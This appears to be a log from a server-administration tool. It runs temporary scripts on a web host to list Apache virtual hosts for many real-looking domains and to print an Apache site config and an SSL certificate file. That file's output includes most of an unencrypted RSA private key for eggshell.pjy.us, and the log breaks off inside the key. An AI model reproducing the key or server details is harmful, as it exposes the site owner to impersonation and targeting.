MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:48:51: Establishing a connection
2025-08-26 15:48:52: 

PUT: /tmp/pkp608166

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-26 15:48:52: 

chmod 755 /tmp/pkp608166; /tmp/pkp608166; rm /tmp/pkp608166

2025-08-26 15:48:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-26 15:48:52: 

PUT: /tmp/pkp655758

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_eggshell_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:48:52: 

chmod 755 /tmp/pkp655758; /tmp/pkp655758; rm /tmp/pkp655758

2025-08-26 15:48:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_eggshell_us.conf	1750
<VirtualHost *:80>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    DirectoryIndex	index.html index.htm index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9514/
        ProxyPassReverse	ws://localhost:9514/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9514/
        ProxyPassReverse	http://localhost:9514/
    </Location>
    
</VirtualHost>







2025-08-26 15:48:52: 

PUT: /tmp/pkp205121

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:48:52: 

chmod 755 /tmp/pkp205121; /tmp/pkp205121; rm /tmp/pkp205121

2025-08-26 15:48:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt	5293
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBTAxN/ypJc1zlWT2MwFFUgcrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzMzI5WhcNMjUxMTIwMTAzMzI4WjAaMRgwFgYDVQQD
Ew9lZ2dzaGVsbC5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCv+1vZXU4/0EqDlKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flM
EBX+BKTAay1csxvMxo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVo
cVPkuIRya2BrLPSPuwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouq
hv+Xd8Um5KgBL2DVrGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/
yX6UR9PU9LmJBu9ITJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOsk
ad40xuRduCbXFlboPTedZg71AgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGaEjn62LSOd4gRueu2Qn7iVwRdlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWdnc2hlbGwucGp5LnVzMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvNDQuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY0YzASAAABAMARzBFAiEA
4Qcy8lE8HLOdYaluPBi3DmiSCtc3/3CIp79dQPEezeQCICJcqF8GjGliNqKAAbio
g4WjkQ3MP9CBkOmZJb3gG766AHUArxgaKNaMo+CpikycZ6sJ+Lu8IrquvLE4o6Gd
0/m2Aw0AAAGY0YzI8wAABAMARjBEAiAK29KAB4y8lBJyXSmh8RXzTTKqnAj7FrQY
rLMzhPnZ2QIge5PgBKFOUR+oJb7HjczA7uoqM3h0FMlQ5W51L5K0oz0wDQYJKoZI
hvcNAQELBQADggEBABls+a+Y62Ttzh4E7HC2gpFsUiC0ItNHJOCVUMsZPQTZ0Kgf
pzm0xn06qHJxT203OsL5G8zdZJ/5+K/W+AvdlUQ9PfGQZQl6T/syPYrRyGTCxhVJ
yDyqQIPWFgJsBWHI+n/Q1B9ZVLXLMy6VMfMr9vUuN27qv2+4G/+6K4S4DOkd5/wS
uO6xtZ3TlgeGgvOtZziGM/hhaI8X4uepzrXA1lpRsz4519BhUaSXDPr4MLI4ur65
qG6LMmjtr+6b1GXhWU0VGqlHR9l+t4Fs8yHaknREMBO0IYbtn9RVeVJ1XlU90Q4z
Mv/F47ZnxmBjLo6wa9aorFfViwD4YXDlzYto0Hg=
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCv+1vZXU4/0EqD
lKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flMEBX+BKTAay1csxvM
xo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVocVPkuIRya2BrLPSP
uwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouqhv+Xd8Um5KgBL2DV
rGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/yX6UR9PU9LmJBu9I
TJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOskad40xuRduCbXFlbo
PTedZg71AgMBAAECggEAUH9wAju2AWarzwh7wvO9E27VB3rfbmNmV4LYVHUglOt+
T2dqPVf2ypYdBRx5/psVFD7XhdUAyPh87OyeNO5eN8Ls5yvU1PhvdOHNOuL3Znc9
GfZaI1HkwISg2UkgLig4sdTdcOFBF4VW0TA+8MqgaXBLr10JclQJ4jhXskM2HAb/
A+m2f+ZFgoZYd/o9TbTuGjGI4/3vIEawQOsTLUmnfryubbn1cAccMJpgMHsj5HCp
3+ZCtQS3lTAv2ssbME19oEfFe5aPzp/u+F/TmCCt6JuIqCMa7iHsN9rkVlX0Ook5
uQuGJoZ9ziLpbI5Eyt+1NFaTkDPNHVPdmed5KmZogQKBgQDmQKGzzH0GUKplZeaH
gjaF2dGmoaB5iWVUEEBzVRiStw5uMlL9lgNE68Vise0MSOHbYn1NkeRoCBC00RQF
0BMQoAbKnh1d0mRYuU3hLF+A36pKf9slfJDUd33BZAqpEouzCaneDwiH7MPIRyf7
VkvB+m3fafXyg9K+I61uMzNr0QKBgQDDqSOXAuj9ExBcXXlMsXmwc/SOACCCt8Ce
HlMaO0ijM9EUlduGM2QCeVC1HjJzkKf5Qv8D8plPMMlhaxMXBK0AnXZ2M7cijmpz
yF/L0HbmkkXu08XBAvOpW9YAtL6POIlEhSSK55O01ieNMLEJnn8ekT+fmPz2cA0b
L73SuV0N5QKBgELfXpdzupQM9ZBBijStEtzJKGS26H6j8vP5TF6yxlJGLEDBCO1x
lj18JHXHq0s4F7C56B6RUr8MKJ37Y09U4VSgxZgvV+QZ6N8D4qSVWJ97VmAQxjsa
9I1grvtt7NKx+jTjh5xgzV982lfeorQSmioaa7LJeY8Xzis+/W3WHQchAoGAWwfn
WgvtkEj9VKvckpUDs9fPEP34IjkRsb8UFOE+I0gpX3V1ZBOm1QvSQ+HfwSqtK+hC
s3h8YX6mQt/JSu1O/DlGcyoOa1JtLp8sCqxblVy6kqoOmIUiDkp+32c4PXQlUS7M
2J9zdjAoyKS9yWbnZ7ZWLo/EKXfqcRqeK1s4cw0CgYAUQjZU1WmKR7pOzQZqF8wh
